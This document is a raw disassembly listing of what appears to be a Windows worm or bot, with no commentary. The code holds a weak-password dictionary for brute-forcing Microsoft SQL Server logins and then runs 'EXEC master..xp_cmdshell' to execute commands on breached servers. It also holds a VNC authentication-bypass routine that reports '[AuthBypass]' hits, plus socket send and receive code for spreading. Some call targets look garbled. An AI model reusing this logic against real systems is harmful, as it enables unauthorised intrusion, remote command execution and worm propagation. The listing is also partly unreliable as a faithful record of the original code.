		mov	dword ptr [ebp-0ADCh], offset aBitch ; "bitch"
		mov	dword ptr [ebp-0AD8h], offset aSlut ; "slut"
		mov	dword ptr [ebp-0AD4h], offset aSex ; "sex"
		mov	dword ptr [ebp-0AD0h], offset aGod ; "god"
		mov	dword ptr [ebp-0ACCh], offset aHell ; "hell"
		mov	dword ptr [ebp-0AC8h], offset aHello ; "hello"
		mov	dword ptr [ebp-0AC4h], offset aDomain ;	"domain"
		mov	dword ptr [ebp-0AC0h], offset aDomainpass ; "domainpass"
		mov	dword ptr [ebp-0ABCh], offset aDomainpassword ;	"domainpassword"
		mov	dword ptr [ebp-0AB8h], offset aDatabase	; "database"
		mov	dword ptr [ebp-0AB4h], offset aAccess ;	"access"
		mov	dword ptr [ebp-0AB0h], offset aDbpass ;	"dbpass"
		mov	dword ptr [ebp-0AACh], offset aDbpassword ; "dbpassword"
		mov	dword ptr [ebp-0AA8h], offset aDatabasepass ; "databasepass"
		mov	dword ptr [ebp-0AA4h], offset aData ; "data"
		mov	dword ptr [ebp-0AA0h], offset aDatabasepasswo ;	"databasepassword"
		mov	dword ptr [ebp-0A9Ch], offset aDb1 ; "db1"
		mov	dword ptr [ebp-0A98h], offset aDb2 ; "db2"
		mov	dword ptr [ebp-0A94h], offset aDb1234 ;	"db1234"
		mov	dword ptr [ebp-0A90h], offset aSa ; "sa"
		mov	dword ptr [ebp-0A8Ch], offset aSql ; "sql"
		mov	dword ptr [ebp-0A88h], offset aSqlpassoainsta ;	"sqlpassoainstall"
		mov	dword ptr [ebp-0A84h], offset aOrainstall ; "orainstall"
		mov	dword ptr [ebp-0A80h], offset aOracle ;	"oracle"
		mov	dword ptr [ebp-0A7Ch], offset aIbm ; "ibm"
		mov	dword ptr [ebp-0A78h], offset aCisco ; "cisco"
		mov	dword ptr [ebp-0A74h], offset aDell ; "dell"
		mov	dword ptr [ebp-0A70h], offset aCompaq ;	"compaq"
		mov	dword ptr [ebp-0A6Ch], offset aSiemens ; "siemens"
		mov	dword ptr [ebp-0A68h], offset aHp ; "hp"
		mov	dword ptr [ebp-0A64h], offset aNokia ; "nokia"
		mov	dword ptr [ebp-0A60h], offset aXp ; "xp"
		mov	dword ptr [ebp-0A5Ch], offset aControl ; "control"
		mov	dword ptr [ebp-0A58h], offset aOffice ;	"office"
		mov	dword ptr [ebp-0A54h], offset aBlank ; "blank"
		mov	dword ptr [ebp-0A50h], offset aWinpass ; "winpass"
		mov	dword ptr [ebp-0A4Ch], offset aMain ; "main"
		mov	dword ptr [ebp-0A48h], offset aLan ; "lan"
		mov	dword ptr [ebp-0A44h], offset aInternet_0 ; "internet"
		mov	dword ptr [ebp-0A40h], offset aIntranet	; "intranet"
		mov	dword ptr [ebp-0A3Ch], offset aStudent ; "student"
		mov	dword ptr [ebp-0A38h], offset aTeacher ; "teacher"
		mov	dword ptr [ebp-0A34h], offset aStaff ; "staff"
		and	dword ptr [ebp-0A30h], 0
		and	dword ptr [ebp-404h], 0
		and	dword ptr [ebp-80Ch], 0
		and	dword ptr [ebp-408h], 0
		lea	eax, [ebp-818h]
		push	eax
		push	0
		push	1
		call	dword_4E167C
		movsx	eax, ax
		test	eax, eax
		jz	short loc_4124BD
		mov	eax, [ebp-404h]
		jmp	locret_4127D9
; ---------------------------------------------------------------------------


loc_4124BD:				; CODE XREF: .XComp0:004124B0j
		push	0FFFFFFFAh
		push	3
		push	0C8h
		push	dword ptr [ebp-818h]
		call	dword_4E1788
		movsx	eax, ax
		test	eax, eax
		jz	short loc_4124E4
		mov	eax, [ebp-404h]
		jmp	locret_4127D9
; ---------------------------------------------------------------------------


loc_4124E4:				; CODE XREF: .XComp0:004124D7j
		lea	eax, [ebp-80Ch]
		push	eax
		push	dword ptr [ebp-818h]
		push	2
		call	dword_4E167C
		movsx	eax, ax
		test	eax, eax
		jz	short loc_412519
		push	dword ptr [ebp-818h]
		push	1
		call	dword_4E171C
		mov	eax, [ebp-404h]
		jmp	locret_4127D9
; ---------------------------------------------------------------------------


loc_412519:				; CODE XREF: .XComp0:004124FEj
		and	dword ptr [ebp-814h], 0
		jmp	short loc_41252F
; ---------------------------------------------------------------------------


loc_412522:				; CODE XREF: .XComp0:loc_4127B2j
		mov	eax, [ebp-814h]
		inc	eax
		mov	[ebp-814h], eax


loc_41252F:				; CODE XREF: .XComp0:00412520j
		mov	eax, [ebp-814h]
		cmp	dword ptr [ebp+eax*4-0A2Ch], 0
		jz	loc_4127B7
		and	dword ptr [ebp-1060h], 0
		jmp	short loc_412559
; ---------------------------------------------------------------------------


loc_41254C:				; CODE XREF: .XComp0:004127A2j
		mov	eax, [ebp-1060h]
		inc	eax
		mov	[ebp-1060h], eax


loc_412559:				; CODE XREF: .XComp0:0041254Aj
		mov	eax, [ebp-1060h]
		cmp	dword ptr [ebp+eax*4-0C5Ch], 0
		jz	loc_4127A7
		lea	eax, [ebp-81Ch]
		push	eax
		mov	eax, [ebp-1060h]
		push	dword ptr [ebp+eax*4-0C5Ch]
		mov	eax, [ebp-814h]
		push	dword ptr [ebp+eax*4-0A2Ch]
		push	dword ptr [ebp+0A8h]
		lea	eax, [ebp+0Ch]
		push	eax
		push	offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"...
		lea	eax, [ebp-105Ch]
		push	eax
		call	sub_4219C0
		add	esp, 1Ch
		push	0
		lea	eax, [ebp-810h]
		push	eax
		push	400h
		lea	eax, [ebp-400h]
		push	eax
		lea	eax, [ebp-105Ch]
		push	eax
		call	sub_41EBD0
		pop	ecx
		push	eax
		lea	eax, [ebp-105Ch]
		push	eax
		push	0
		push	dword ptr [ebp-80Ch]
		call	dword_4E173C
		mov	[ebp-1064h], ax
		movsx	eax, word ptr [ebp-1064h]
		test	eax, eax
		jz	short loc_412606
		movsx	eax, word ptr [ebp-1064h]
		cmp	eax, 1
		jnz	loc_412797


loc_412606:				; CODE XREF: .XComp0:004125F4j
		lea	eax, [ebp-408h]
		push	eax
		push	dword ptr [ebp-80Ch]
		push	3
		call	dword_4E167C
		push	offset byte_4410E8
		push	offset byte_4410E8
		call	sub_421AD0
		push	eax
		call	sub_421AD0
		push	eax
		push	dword_4E1418
		push	dword ptr [ebp+8]
		call	sub_40C86E
		pop	ecx
		push	eax
		push	offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"...
		lea	eax, [ebp-808h]
		push	eax
		call	sub_4219C0
		add	esp, 20h
		push	0FFFFFFFDh
		lea	eax, [ebp-808h]
		push	eax
		push	dword ptr [ebp-408h]
		call	dword_4E16C4
		movsx	eax, ax
		test	eax, eax
		jz	loc_412787
		push	1388h
		nop
		call	near ptr 27B048Ah
		push	offset byte_4410E8
		push	offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'"
		lea	eax, [ebp-808h]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		lea	eax, [ebp+0Ch]
		push	eax
		push	offset dword_44B518
		lea	eax, [ebp-0A1Ch]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	0FFFFFFFDh
		lea	eax, [ebp-808h]
		push	eax
		push	dword ptr [ebp-408h]
		call	dword_4E16C4
		movsx	eax, ax
		test	eax, eax
		jnz	loc_41277C
		mov	dword ptr [ebp-404h], 1
		mov	eax, [ebp-1060h]
		push	dword ptr [ebp+eax*4-0C5Ch]
		mov	eax, [ebp-814h]
		push	dword ptr [ebp+eax*4-0A2Ch]
		push	dword ptr [ebp+0A8h]
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aDcom2135_0	; "Dcom2-135"
		push	eax
		push	offset unk_44B534
		push	200h
		lea	eax, [ebp-0A1Ch]
		push	eax
		call	sub_421B90
		add	esp, 20h
		cmp	dword ptr [ebp+0BCh], 0
		jnz	short loc_41274E
		push	0
		push	dword ptr [ebp+0B8h]
		lea	eax, [ebp-0A1Ch]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40B00F
		add	esp, 14h


loc_41274E:				; CODE XREF: .XComp0:0041272Ej
		lea	eax, [ebp-0A1Ch]
		push	eax
		call	sub_4173DC
		pop	ecx
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		mov	eax, dword_448FF0[eax]
		inc	eax
		mov	ecx, [ebp+0B0h]
		shl	ecx, 6
		mov	dword_448FF0[ecx], eax
		jmp	short loc_4127A7
; ---------------------------------------------------------------------------


loc_41277C:				; CODE XREF: .XComp0:004126CBj
		push	1388h
		call	near ptr 27B048Ah
		nop


loc_412787:				; CODE XREF: .XComp0:0041266Fj
		push	dword ptr [ebp-408h]
		push	3
		call	dword_4E171C
		jmp	short loc_4127A7
; ---------------------------------------------------------------------------


loc_412797:				; CODE XREF: .XComp0:00412600j
		push	1F4h
		call	near ptr 27B048Ah
		nop
		jmp	loc_41254C
; ---------------------------------------------------------------------------


loc_4127A7:				; CODE XREF: .XComp0:00412567j
					; .XComp0:0041277Aj ...
		cmp	dword ptr [ebp-404h], 1
		jnz	short loc_4127B2
		jmp	short loc_4127B7
; ---------------------------------------------------------------------------


loc_4127B2:				; CODE XREF: .XComp0:004127AEj
		jmp	loc_412522
; ---------------------------------------------------------------------------


loc_4127B7:				; CODE XREF: .XComp0:0041253Dj
					; .XComp0:004127B0j
		push	dword ptr [ebp-80Ch]
		push	2
		call	dword_4E171C
		push	dword ptr [ebp-818h]
		push	1
		call	dword_4E171C
		mov	eax, [ebp-404h]

locret_4127D9:				; CODE XREF: .XComp0:004124B8j
					; .XComp0:004124DFj ...
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4127DB	proc near		; CODE XREF: .XComp0:00412923p
					; .XComp0:004129DCp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0


loc_4127E4:				; CODE XREF: sub_4127DB+49j
		cmp	[ebp+arg_8], 0
		jle	short loc_412826
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E1718	; recv
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_41280E
		cmp	[ebp+var_8], 0FFFFFFFFh
		jnz	short loc_412812


loc_41280E:				; CODE XREF: sub_4127DB+2Bj
		xor	eax, eax
		jmp	short locret_412829
; ---------------------------------------------------------------------------


loc_412812:				; CODE XREF: sub_4127DB+31j
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_8]
		mov	[ebp+arg_8], eax
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jmp	short loc_4127E4
; ---------------------------------------------------------------------------


loc_412826:				; CODE XREF: sub_4127DB+Dj
		push	1
		pop	eax

locret_412829:				; CODE XREF: sub_4127DB+35j
		leave
		retn
sub_4127DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41282B	proc near		; CODE XREF: .XComp0:004129B1p
					; .XComp0:00412A07p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_8], 0
		jnz	short loc_41283A
		xor	eax, eax
		jmp	short locret_412880
; ---------------------------------------------------------------------------


loc_41283A:				; CODE XREF: sub_41282B+9j
		and	[ebp+var_4], 0


loc_41283E:				; CODE XREF: sub_41282B+50j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jge	short loc_41287D
		push	0
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E1750	; send
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_41286E
		cmp	[ebp+var_8], 0
		jnz	short loc_412872


loc_41286E:				; CODE XREF: sub_41282B+3Bj
		xor	eax, eax
		jmp	short locret_412880
; ---------------------------------------------------------------------------


loc_412872:				; CODE XREF: sub_41282B+41j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jmp	short loc_41283E
; ---------------------------------------------------------------------------


loc_41287D:				; CODE XREF: sub_41282B+19j
		push	1
		pop	eax

locret_412880:				; CODE XREF: sub_41282B+Dj
					; sub_41282B+45j
		leave
		retn
sub_41282B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 260h
		mov	ax, word_44B564
		mov	[ebp-18h], ax
		push	0
		push	1
		push	2
		call	dword_4E1780	; socket
		mov	[ebp-23Ch], eax
		cmp	dword ptr [ebp-23Ch], 0FFFFFFFFh
		jnz	short loc_4128C3
		push	dword ptr [ebp-23Ch]
		call	dword_4E1798	; closesocket
		xor	eax, eax
		jmp	locret_412CC1
; ---------------------------------------------------------------------------


loc_4128C3:				; CODE XREF: .XComp0:004128AEj
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4E1740	; inet_addr
		mov	[ebp-10h], eax
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp+0A8h]
		call	dword_4E1700	; ntohs
		mov	[ebp-12h], ax
		push	10h
		lea	eax, [ebp-14h]
		push	eax
		push	dword ptr [ebp-23Ch]
		call	dword_4E16A8	; connect
		mov	[ebp-1Ch], eax
		cmp	dword ptr [ebp-1Ch], 0FFFFFFFFh
		jnz	short loc_412914
		push	dword ptr [ebp-23Ch]
		call	dword_4E1798	; closesocket
		xor	eax, eax
		jmp	locret_412CC1
; ---------------------------------------------------------------------------


loc_412914:				; CODE XREF: .XComp0:004128FFj
		push	0Ch
		lea	eax, [ebp-230h]
		push	eax
		push	dword ptr [ebp-23Ch]
		call	sub_4127DB
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_412942
		push	dword ptr [ebp-23Ch]
		call	near ptr 71AB9639h
		nop
		xor	eax, eax
		jmp	locret_412CC1
; ---------------------------------------------------------------------------


loc_412942:				; CODE XREF: .XComp0:0041292Dj
		and	byte ptr [ebp-224h], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-234h]
		push	eax
		push	offset dword_44B568
		lea	eax, [ebp-230h]
		push	eax
		call	sub_422E90
		add	esp, 10h
		cmp	eax, 2
		jz	short loc_412980
		push	dword ptr [ebp-23Ch]
		call	near ptr 71AB9639h
		nop
		xor	eax, eax
		jmp	locret_412CC1
; ---------------------------------------------------------------------------


loc_412980:				; CODE XREF: .XComp0:0041296Bj
		cmp	dword ptr [ebp-234h], 3
		jz	short loc_4129A2
		cmp	dword ptr [ebp-20h], 8
		jz	short loc_4129A2
		push	dword ptr [ebp-23Ch]
		nop
		call	near ptr 71AB9639h
		xor	eax, eax
		jmp	locret_412CC1
; ---------------------------------------------------------------------------


loc_4129A2:				; CODE XREF: .XComp0:00412987j
					; .XComp0:0041298Dj
		push	0Ch
		lea	eax, [ebp-230h]
		push	eax
		push	dword ptr [ebp-23Ch]
		call	sub_41282B
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4129D0
		push	dword ptr [ebp-23Ch]
		call	near ptr 71AB9639h
		nop
		xor	eax, eax
		jmp	locret_412CC1
; ---------------------------------------------------------------------------


loc_4129D0:				; CODE XREF: .XComp0:004129BBj
		push	2
		lea	eax, [ebp-4]
		push	eax
		push	dword ptr [ebp-23Ch]
		call	sub_4127DB
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4129FB
		push	dword ptr [ebp-23Ch]
		nop
		call	near ptr 71AB9639h
		xor	eax, eax
		jmp	locret_412CC1
; ---------------------------------------------------------------------------


loc_4129FB:				; CODE XREF: .XComp0:004129E6j
		push	1
		lea	eax, [ebp-18h]
		push	eax
		push	dword ptr [ebp-23Ch]
		call	sub_41282B
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_412A26
		push	dword ptr [ebp-23Ch]
		nop
		call	near ptr 71AB9639h
		xor	eax, eax
		jmp	locret_412CC1
; ---------------------------------------------------------------------------


loc_412A26:				; CODE XREF: .XComp0:00412A11j
		push	4
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-23Ch]
		call	sub_4127DB
		add	esp, 0Ch
		test	eax, eax
		jz	loc_412CB3
		mov	eax, [ebp-238h]
		and	eax, 0FF000000h
		shr	eax, 18h
		mov	ecx, [ebp-238h]
		and	ecx, 0FF0000h
		shr	ecx, 8
		or	eax, ecx
		mov	ecx, [ebp-238h]
		and	ecx, 0FF00h
		shl	ecx, 8
		or	eax, ecx
		mov	ecx, [ebp-238h]
		and	ecx, 0FFh
		shl	ecx, 18h
		or	eax, ecx
		mov	[ebp-238h], eax
		mov	eax, [ebp-238h]
		mov	[ebp-260h], eax
		cmp	dword ptr [ebp-260h], 0
		jz	short loc_412AA6
		jmp	loc_412CB3
; ---------------------------------------------------------------------------


loc_412AA6:				; CODE XREF: .XComp0:00412A9Fj
		push	1
		push	offset dword_4E444C
		push	dword ptr [ebp-23Ch]
		call	sub_41282B
		add	esp, 0Ch
		test	eax, eax
		jz	loc_412CB3
		push	18h
		lea	eax, [ebp-254h]
		push	eax
		push	dword ptr [ebp-23Ch]
		call	sub_4127DB
		add	esp, 0Ch
		test	eax, eax
		jz	loc_412CB3
		movzx	eax, word ptr [ebp-254h]
		and	eax, 0FFh
		shl	eax, 8
		movzx	ecx, word ptr [ebp-254h]
		sar	ecx, 8
		and	ecx, 0FFh
		or	eax, ecx
		mov	[ebp-254h], ax
		movzx	eax, word ptr [ebp-252h]
		and	eax, 0FFh
		shl	eax, 8
		movzx	ecx, word ptr [ebp-252h]
		sar	ecx, 8
		and	ecx, 0FFh
		or	eax, ecx
		mov	[ebp-252h], ax
		movzx	eax, word ptr [ebp-24Ch]
		and	eax, 0FFh
		shl	eax, 8
		movzx	ecx, word ptr [ebp-24Ch]
		sar	ecx, 8
		and	ecx, 0FFh
		or	eax, ecx
		mov	[ebp-24Ch], ax
		movzx	eax, word ptr [ebp-24Ah]
		and	eax, 0FFh
		shl	eax, 8
		movzx	ecx, word ptr [ebp-24Ah]
		sar	ecx, 8
		and	ecx, 0FFh
		or	eax, ecx
		mov	[ebp-24Ah], ax
		movzx	eax, word ptr [ebp-248h]
		and	eax, 0FFh
		shl	eax, 8
		movzx	ecx, word ptr [ebp-248h]
		sar	ecx, 8
		and	ecx, 0FFh
		or	eax, ecx
		mov	[ebp-248h], ax
		mov	eax, [ebp-240h]
		and	eax, 0FF000000h
		shr	eax, 18h
		mov	ecx, [ebp-240h]
		and	ecx, 0FF0000h
		shr	ecx, 8
		or	eax, ecx
		mov	ecx, [ebp-240h]
		and	ecx, 0FF00h
		shl	ecx, 8
		or	eax, ecx
		mov	ecx, [ebp-240h]
		and	ecx, 0FFh
		shl	ecx, 18h
		or	eax, ecx
		mov	[ebp-240h], eax
		mov	eax, [ebp-240h]
		inc	eax
		inc	eax
		push	eax
		call	sub_423B90
		pop	ecx
		mov	[ebp-25Ch], eax
		mov	eax, [ebp-25Ch]
		mov	[ebp-258h], eax
		push	dword ptr [ebp-240h]
		push	dword ptr [ebp-258h]
		push	dword ptr [ebp-23Ch]
		call	sub_412CC3
		add	esp, 0Ch
		lea	eax, [ebp+0Ch]
		push	eax
		push	dword ptr [ebp-258h]
		push	dword ptr [ebp-20h]
		push	dword ptr [ebp-234h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		lea	eax, [ebp-220h]
		push	eax
		call	sub_421B90
		add	esp, 1Ch
		push	0
		push	dword ptr [ebp+0B8h]
		lea	eax, [ebp-220h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40B00F
		add	esp, 14h
		lea	eax, [ebp-220h]
		push	eax
		call	sub_4173DC
		pop	ecx
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		mov	eax, dword_448FF0[eax]
		inc	eax
		mov	ecx, [ebp+0B0h]
		shl	ecx, 6
		mov	dword_448FF0[ecx], eax
		push	dword ptr [ebp-23Ch]
		nop
		call	near ptr 71AB9639h
		push	1
		pop	eax
		jmp	short locret_412CC1
; ---------------------------------------------------------------------------


loc_412CB3:				; CODE XREF: .XComp0:00412A3Fj
					; .XComp0:00412AA1j ...
		push	dword ptr [ebp-23Ch]
		nop
		call	near ptr 71AB9639h
		xor	eax, eax

locret_412CC1:				; CODE XREF: .XComp0:004128BEj
					; .XComp0:0041290Fj ...
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412CC3	proc near		; CODE XREF: .XComp0:00412C24p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jle	short loc_412CDD
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4127DB
		add	esp, 0Ch


loc_412CDD:				; CODE XREF: sub_412CC3+7j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+arg_8]
		and	byte ptr [eax],	0
		pop	ebp
		retn
sub_412CC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412CE8	proc near		; CODE XREF: .XComp0:00413177p
					; .XComp0:00413193p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= word ptr -1Ch
var_18		= word ptr -18h
var_14		= byte ptr -14h
var_C		= byte ptr -0Ch
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	esi
		push	edi
		mov	ax, word_44B5A4
		mov	[ebp+var_4], ax
		mov	ax, word_44B5A8
		mov	[ebp+var_18], ax
		mov	ax, word_4E4554
		mov	[ebp+var_1C], ax
		mov	esi, offset dword_4E4558
		lea	edi, [ebp+var_14]
		movsd
		movsb
		mov	esi, offset dword_4E4560
		lea	edi, [ebp+var_C]
		movsd
		movsw
		cmp	[ebp+arg_8], 0
		jnz	loc_412E3F
		and	[ebp+var_20], 0
		jmp	short loc_412D3A
; ---------------------------------------------------------------------------


loc_412D33:				; CODE XREF: sub_412CE8:loc_412E35j
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax


loc_412D3A:				; CODE XREF: sub_412CE8+49j
		cmp	[ebp+var_20], 1
		jg	loc_412E3A
		mov	eax, [ebp+var_20]
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	short loc_412D5B
		cmp	[ebp+var_24], 1
		jz	short loc_412DC9
		jmp	loc_412E35
; ---------------------------------------------------------------------------


loc_412D5B:				; CODE XREF: sub_412CE8+66j
		push	0
		push	1
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E1750	; send
		push	0
		push	1
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E1750	; send
		push	[ebp+arg_4]
		call	sub_41EBD0
		pop	ecx
		cmp	eax, 2
		jnz	short loc_412D9E
		push	0
		push	4
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E1750	; send
		jmp	short loc_412DAF
; ---------------------------------------------------------------------------


loc_412D9E:				; CODE XREF: sub_412CE8+A1j
		push	0
		push	5
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E1750	; send


loc_412DAF:				; CODE XREF: sub_412CE8+B4j
		push	0
		push	[ebp+arg_4]
		call	sub_41EBD0
		pop	ecx
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4E1750	; send
		jmp	short loc_412E35
; ---------------------------------------------------------------------------


loc_412DC9:				; CODE XREF: sub_412CE8+6Cj
		push	0
		push	1
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E1750	; send
		push	0
		push	1
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E1750	; send
		push	[ebp+arg_4]
		call	sub_41EBD0
		pop	ecx
		cmp	eax, 2
		jnz	short loc_412E0C
		push	0
		push	4
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E1750	; send
		jmp	short loc_412E1D
; ---------------------------------------------------------------------------


loc_412E0C:				; CODE XREF: sub_412CE8+10Fj
		push	0
		push	5
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E1750	; send


loc_412E1D:				; CODE XREF: sub_412CE8+122j
		push	0
		push	[ebp+arg_4]
		call	sub_41EBD0
		pop	ecx
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4E1750	; send


loc_412E35:				; CODE XREF: sub_412CE8+6Ej
					; sub_412CE8+DFj
		jmp	loc_412D33
; ---------------------------------------------------------------------------


loc_412E3A:				; CODE XREF: sub_412CE8+56j
		jmp	loc_412F30
; ---------------------------------------------------------------------------


loc_412E3F:				; CODE XREF: sub_412CE8+3Fj
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 1
		jz	short loc_412E56
		cmp	[ebp+var_28], 2
		jz	short loc_412EC4
		jmp	loc_412F30
; ---------------------------------------------------------------------------


loc_412E56:				; CODE XREF: sub_412CE8+161j
		push	0
		push	1
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E1750	; send
		push	0
		push	1
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E1750	; send
		push	[ebp+arg_4]
		call	sub_41EBD0
		pop	ecx
		cmp	eax, 2
		jnz	short loc_412E99
		push	0
		push	4
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E1750	; send
		jmp	short loc_412EAA
; ---------------------------------------------------------------------------


loc_412E99:				; CODE XREF: sub_412CE8+19Cj
		push	0
		push	5
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E1750	; send


loc_412EAA:				; CODE XREF: sub_412CE8+1AFj
		push	0
		push	[ebp+arg_4]
		call	sub_41EBD0
		pop	ecx
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4E1750	; send
		jmp	short loc_412F30
; ---------------------------------------------------------------------------


loc_412EC4:				; CODE XREF: sub_412CE8+167j
		push	0
		push	1
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E1750	; send
		push	0
		push	1
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E1750	; send
		push	[ebp+arg_4]
		call	sub_41EBD0
		pop	ecx
		cmp	eax, 2
		jnz	short loc_412F07
		push	0
		push	4
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E1750	; send
		jmp	short loc_412F18
; ---------------------------------------------------------------------------


loc_412F07:				; CODE XREF: sub_412CE8+20Aj
		push	0
		push	5
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E1750	; send


loc_412F18:				; CODE XREF: sub_412CE8+21Dj
		push	0
		push	[ebp+arg_4]
		call	sub_41EBD0
		pop	ecx
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4E1750	; send


loc_412F30:				; CODE XREF: sub_412CE8:loc_412E3Aj
					; sub_412CE8+169j ...
		pop	edi
		pop	esi
		leave
		retn
sub_412CE8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 9Ch
		push	esi
		push	edi
		mov	esi, offset dword_44B5AC
		lea	edi, [ebp-88h]
		movsd
		movsd
		movsd
		movsb


loc_412F4E:				; DATA XREF: .XComp0:off_44FDB0o
					; .XComp0:off_44FDB4o
		mov	esi, offset dword_44B5BC
		lea	edi, [ebp-0Ch]
		movsw
		movsb
		mov	esi, offset dword_4E4568
		lea	edi, [ebp-70h]
		movsd
		movsb
		mov	ax, word_44B5C0
		mov	[ebp-68h], ax
		mov	ax, word_44B5C4
		mov	[ebp-74h], ax
		mov	esi, offset dword_44B5C8
		lea	edi, [ebp-8]
		movsw
		movsb
		mov	esi, offset dword_44B5CC
		lea	edi, [ebp-4]
		movsw
		movsb
		mov	esi, offset dword_44B5D0
		lea	edi, [ebp-78h]
		movsw
		movsb
		mov	ax, word_44B5D4
		mov	[ebp-5Ch], ax
		and	dword ptr [ebp-64h], 0
		and	dword ptr [ebp-50h], 0
		and	dword ptr [ebp-60h], 0
		push	0
		push	1
		push	2
		call	dword_4E1780	; socket
		mov	[ebp-58h], eax
		cmp	dword ptr [ebp-58h], 0FFFFFFFFh
		jnz	short loc_412FCC
		push	dword ptr [ebp-58h]
		call	dword_4E1798	; closesocket


loc_412FCC:				; CODE XREF: .XComp0:00412FC1j
		mov	word ptr [ebp-98h], 2
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4E1740	; inet_addr
		mov	[ebp-94h], eax
		push	dword ptr [ebp+0A8h]
		call	dword_4E1700	; ntohs
		mov	[ebp-96h], ax
		push	10h
		lea	eax, [ebp-98h]
		push	eax
		push	dword ptr [ebp-58h]
		call	dword_4E16A8	; connect
		test	eax, eax
		jz	short loc_41301E
		push	dword ptr [ebp-58h]
		call	dword_4E1798	; closesocket
		xor	eax, eax
